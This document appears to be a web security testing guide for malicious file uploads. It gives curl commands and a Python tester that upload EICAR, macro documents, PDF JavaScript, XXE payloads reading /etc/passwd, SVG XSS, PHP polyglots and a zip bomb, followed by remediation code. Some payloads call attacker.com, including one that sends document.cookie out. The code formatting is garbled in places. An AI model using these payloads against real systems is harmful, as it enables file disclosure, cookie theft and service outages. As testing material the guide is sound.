This test examines whether the application properly scans and rejects files containing malicious content such as malware, exploits, or embedded scripts. Even if file type validation is in place, malicious content within allowed file types (e.g., macro-enabled Office documents, PDFs with JavaScript, images with embedded payloads) can pose significant risks to users who download these files or systems that process them.
What to Check
Malicious Content Types
Malware/virus detection
Office macros
PDF JavaScript
Image-based exploits
Archive bombs (zip bombs)
Embedded scripts in allowed formats
XXE in XML-based files
Common Attack Vectors
File Type
Attack Vector
DOCX/XLSX
Macros, OLE objects
PDF
JavaScript, embedded files
SVG
JavaScript, XSS
XML
XXE, XSS
ZIP
Path traversal, zip bombs
Images
Steganography, polyglots
How to Test
Step 1: Test Malware Detection
# Use EICAR test file (industry standard test file, NOT actual malware)echo'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicar.txt
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@eicar.txt"# Also test with .com extensionmv eicar.txt eicar.com
curl -s -X POST "https://target.com/api/upload" \
-H \
-F
"Authorization: Bearer $TOKEN"
"file=@eicar.com"
Step 2: Test Office Macro Documents
# Create document with macro (requires Office/LibreOffice)# Or use pre-made macro-enabled documents# Test DOCM (macro-enabled Word)
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@document_with_macro.docm"# Test XLSM (macro-enabled Excel)
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@spreadsheet_with_macro.xlsm"# Test renamed extensions (docm as doc)cp document_with_macro.docm document.doc
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@document.doc"
Step 3: Test PDF with JavaScript
#!/usr/bin/env python3# Generate PDF with JavaScriptfrom reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
from PyPDF2 import PdfWriter, PdfReader
defcreate_js_pdf(output_file, js_code):
"""Create PDF with embedded JavaScript"""# Create basic PDF
c = canvas.Canvas("temp.pdf", pagesize=letter)
c.drawString(100, 750, "Test Document")
c.save()
# Add JavaScript
reader = PdfReader("temp.pdf")
writer = PdfWriter()
for page in reader.pages:
writer.add_page(page)
# Add JavaScript action
js = f"""
/S /JavaScript
/JS ({js_code})
"""# This requires manual PDF manipulation or tools like pdftk# For testing, use pre-made PDFs with JSwithopen(output_file, "wb") as f:
writer.write(f)
# Alternative: Use existing test PDFs# Download from security testing resources
# Test PDF with JavaScript
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@pdf_with_javascript.pdf"
# Create XXE payloadcat > xxe.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
EOF
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@xxe.xml"# Test in document formats that use XML (DOCX, XLSX, etc.)# DOCX is a ZIP with XML files inside
unzip -q document.docx -d doc_extracted
# Modify XML files to include XXE# Rezip and upload
Step 6: Test Archive Bombs
# Create zip bomb (be careful - this can crash systems)# Small version for testing:# Create a file with repeated contentddif=/dev/zero of=zeros.txt bs=1M count=10
# Compress with maximum compression
zip -9 bomb.zip zeros.txt
# Nested compression (zip of zips)for i in {1..5}; docp bomb.zip "layer$i.zip"
zip -9 "bomb_layer$i.zip""layer$i.zip"mv"bomb_layer$i.zip" bomb.zip
done# Upload
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@bomb.zip"
Step 7: Test Image with Embedded Payloads
# Create image with embedded PHP (polyglot)# Start with valid GIFecho -n 'GIF89a' > polyglot.gif.php
echo'<?php echo "test"; ?>' >> polyglot.gif.php
# Or use JPEG comment to embed code# Using exiftool
exiftool -Comment='<?php echo "test"; ?>' image.jpg
# Upload
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@image.jpg"# Check EXIF metadata for malicious content
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@image_with_xss_in_exif.jpg"
Tools
Malware Testing
Tool
Description
Usage
EICAR
Antivirus test file
Standard detection test
ClamAV
Open source antivirus
Server-side scanning
VirusTotal API
Multi-engine scanning
Integration
Payload Generation
Tool
Description
msfvenom
Metasploit payloads
Office-DDE-Payloads
Office exploits
PDF-parser
PDF analysis
Example Commands/Payloads
Malicious File Payloads
<!-- SVG XSS --><svgxmlns="http://www.w3.org/2000/svg"onload="alert('XSS')"><circlecx="50"cy="50"r="40"/></svg><!-- XXE in XML --><?xml version="1.0"?><!DOCTYPE data [
<!ENTITY fileSYSTEM"file:///etc/passwd">
]><data>&file;</data><!-- XXE in DOCX (word/document.xml) --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxeSYSTEM"http://attacker.com/collect">]>
Malicious File Upload Tester
#!/usr/bin/env python3import requests
import tempfile
import os
classMaliciousFileTester:
def__init__(self, upload_url, token):
self.url = upload_url
self.headers = {"Authorization": f"Bearer {token}"}
self.results = []
deftest_eicar(self):
"""Test EICAR antivirus test file"""
eicar = b'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'for ext in ['txt', 'com', 'exe', 'zip']:
files = {'file': (f'eicar.{ext}', eicar, 'application/octet-stream')}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"EICAR .{ext}",
"status": response.status_code,
"blocked": response.status_code notin [200, 201],
"response": response.text[:200]
})
deftest_svg_xss(self):
"""Test SVG with JavaScript"""
svg_payloads = [
b'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>',
b'<svg><script>alert(1)</script></svg>',
b'<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><script>alert(1)</script></foreignObject></svg>',
]
for i, payload inenumerate(svg_payloads):
files = {'file': (f'test{i}.svg', payload, 'image/svg+xml')}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"SVG XSS #{i+1}",
"status": response.status_code,
"blocked": response.status_code notin [200, 201]
})
deftest_xxe(self):
"""Test XML with XXE"""
xxe_payloads = [
b'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>''',
b'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>''',
]
for i, payload inenumerate(xxe_payloads):
files = {'file': (f'test{i}.xml', payload, 'application/xml')}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"XXE #{i+1}",
"status": response.status_code,
"blocked": response.status_code notin [200, 201]
})
deftest_polyglot(self):
"""Test image polyglot files"""# GIF header + PHP
gif_php = b'GIF89a<?php echo "test"; ?>'# JPEG with PHP in comment# Simplified - real test would need proper JPEG structure
jpg_php = b'\xFF\xD8\xFF\xE0<?php echo "test"; ?>'
polyglots = [
(gif_php, 'polyglot.gif', 'image/gif'),
(gif_php, 'polyglot.gif.php', 'image/gif'),
(jpg_php, 'polyglot.jpg', 'image/jpeg'),
]
for content, filename, mime in polyglots:
files = {'file': (filename, content, mime)}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"Polyglot: {filename}",
"status": response.status_code,
"blocked": response.status_code notin [200, 201]
})
deftest_html_as_image(self):
"""Test HTML disguised as image"""
html_content = b'''
<!DOCTYPE html>
<html>
<body>
<script>document.location='http://attacker.com/?c='+document.cookie</script>
</body>
</html>
'''
extensions = ['jpg', 'png', 'gif', 'html.jpg']
mimes = ['image/jpeg', 'image/png', 'text/html']
for ext in extensions:
for mime in mimes:
files = {'file': (f'test.{ext}', html_content, mime)}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"HTML as .{ext} (MIME: {mime})",
"status": response.status_code,
"blocked": response.status_code notin [200, 201]
})
defgenerate_report(self):
"""Generate test report"""print("\n=== MALICIOUS FILE UPLOAD REPORT ===\n")
blocked = [r for r inself.results if r.get("blocked")]
accepted = [r for r inself.results ifnot r.get("blocked")]
print(f"Total tests: {len(self.results)}")
print(f"Blocked (good): {len(blocked)}")
print(f"Accepted (potential vulnerability): {len(accepted)}")
if accepted:
print("\n--- POTENTIAL VULNERABILITIES ---")
for r in accepted:
print(f" [ACCEPTED] {r['test']}: Status {r['status']}")
print("\n--- BLOCKED ---")
for r in blocked:
print(f" [BLOCKED] {r['test']}")
# Usage
tester = MaliciousFileTester("https://target.com/api/upload", "auth_token")
tester.test_eicar()
tester.test_svg_xss()
tester.test_xxe()
tester.test_polyglot()
tester.test_html_as_image()
tester.generate_report()
Remediation Guide
1. Implement Antivirus Scanning
import clamd
defscan_file_for_malware(file_path):
"""Scan file using ClamAV"""try:
cd = clamd.ClamdUnixSocket()
result = cd.scan(file_path)
if result and file_path in result:
status, virus_name = result[file_path]
if status == 'FOUND':
returnFalse, f"Malware detected: {virus_name}"returnTrue, Noneexcept clamd.ConnectionError:
# Fail closed - reject if scanner unavailablereturnFalse, "Antivirus scanner unavailable"@app.route('/api/upload', methods=['POST'])defupload():
file = request.files['file']
# Save to temp location
temp_path = save_temp_file(file)
# Scan for malware
safe, message = scan_file_for_malware(temp_path)
ifnot safe:
os.remove(temp_path)
return jsonify({"error": message}), 400# Continue with other validations...
2. Sanitize Office Documents
from oletools.olevba import VBA_Parser
defcheck_office_macros(file_path):
"""Check Office documents for macros"""try:
vbaparser = VBA_Parser(file_path)
if vbaparser.detect_vba_macros():
macros = vbaparser.analyze_macros()
for m in macros:
if m[0] in ['AutoExec', 'Suspicious']:
returnFalse, "Dangerous macro detected"returnFalse, "Document contains macros"returnTrue, Noneexcept Exception as e:
returnFalse, f"Error scanning document: {str(e)}"defsanitize_office_document(file_path, output_path):
"""Remove macros from Office documents"""# Use a library like python-docx to create clean copy# Or use LibreOffice in headless mode to convert to clean formatpass
3. Sanitize SVG Files
from defusedxml import ElementTree as ET
import re
defsanitize_svg(svg_content):
"""Remove dangerous elements from SVG"""# Parse with defusedxml (safe from XXE)try:
root = ET.fromstring(svg_content)
except ET.ParseError:
returnNone, "Invalid SVG"# Remove script elementsfor script in root.findall('.//{http://www.w3.org/2000/svg}script'):
script.getparent().remove(script)
# Remove event handlers
dangerous_attrs = [
'onload', 'onclick', 'onerror', 'onmouseover',
'onfocus', 'onblur', 'onchange', 'onsubmit'
]
for elem in root.iter():
for attr in dangerous_attrs:
if attr in elem.attrib:
del elem.attrib[attr]
# Remove foreignObject (can contain HTML)for fo in root.findall('.//{http://www.w3.org/2000/svg}foreignObject'):
fo.getparent().remove(fo)
return ET.tostring(root, encoding='unicode'), None
4. Safe PDF Processing
defsanitize_pdf(input_path, output_path):
"""Remove JavaScript and other dangerous elements from PDF"""from PyPDF2 import PdfReader, PdfWriter
reader = PdfReader(input_path)
writer = PdfWriter()
for page in reader.pages:
# Copy page without annotations/JavaScript
writer.add_page(page)
# Remove JavaScriptif'/JavaScript'in reader.trailer.get('/Root', {}):
# Don't copy JavaScript actionspasswithopen(output_path, 'wb') as f:
writer.write(f)
5. Serve Uploads Safely
from flask import send_file
@app.route('/uploads/<filename>')defserve_upload(filename):
# Validate filename
safe_filename = secure_filename(filename)
# Force download instead of inline displayreturn send_file(
os.path.join(UPLOAD_DIR, safe_filename),
as_attachment=True, # Force download
mimetype='application/octet-stream'# Generic MIME
)
# Or set CSP headers@app.after_requestdefadd_security_headers(response):
if'/uploads/'in request.path:
response.headers['Content-Security-Policy'] = "default-src 'none'"
response.headers['X-Content-Type-Options'] = 'nosniff'return response